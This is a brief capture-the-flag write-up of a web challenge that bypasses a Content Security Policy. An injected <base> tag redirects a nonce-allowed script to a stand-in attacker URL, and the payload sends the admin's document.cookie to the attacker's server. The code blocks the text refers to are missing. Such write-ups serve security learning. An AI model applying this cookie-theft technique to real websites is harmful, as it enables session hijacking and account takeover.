XwaSS ftw?
Content Security Policy bypass using base tag
Just another typical web challenge that will be solved anyway :/ Link: http://128.199.3.34:1236
Author: Kahla
In this challenge, we have HTML injection through the src=
parameter, but the CSP does not allow the loading of arbitrary scripts.
Thankfully, the following script is included in the response, which is permitted by the nonce
.
We could therefore use the <base>
tag to set the base URL of the document to our attacker-controlled site.
This will load the script http://ATTACKER_URL/assets/js/bootstrap.js
, which we can host on our server:
The above payload will cause the browser to fetch /?${document.cookie}
, which will be logged on our server, allowing us to get the admin's cookie.
Last updated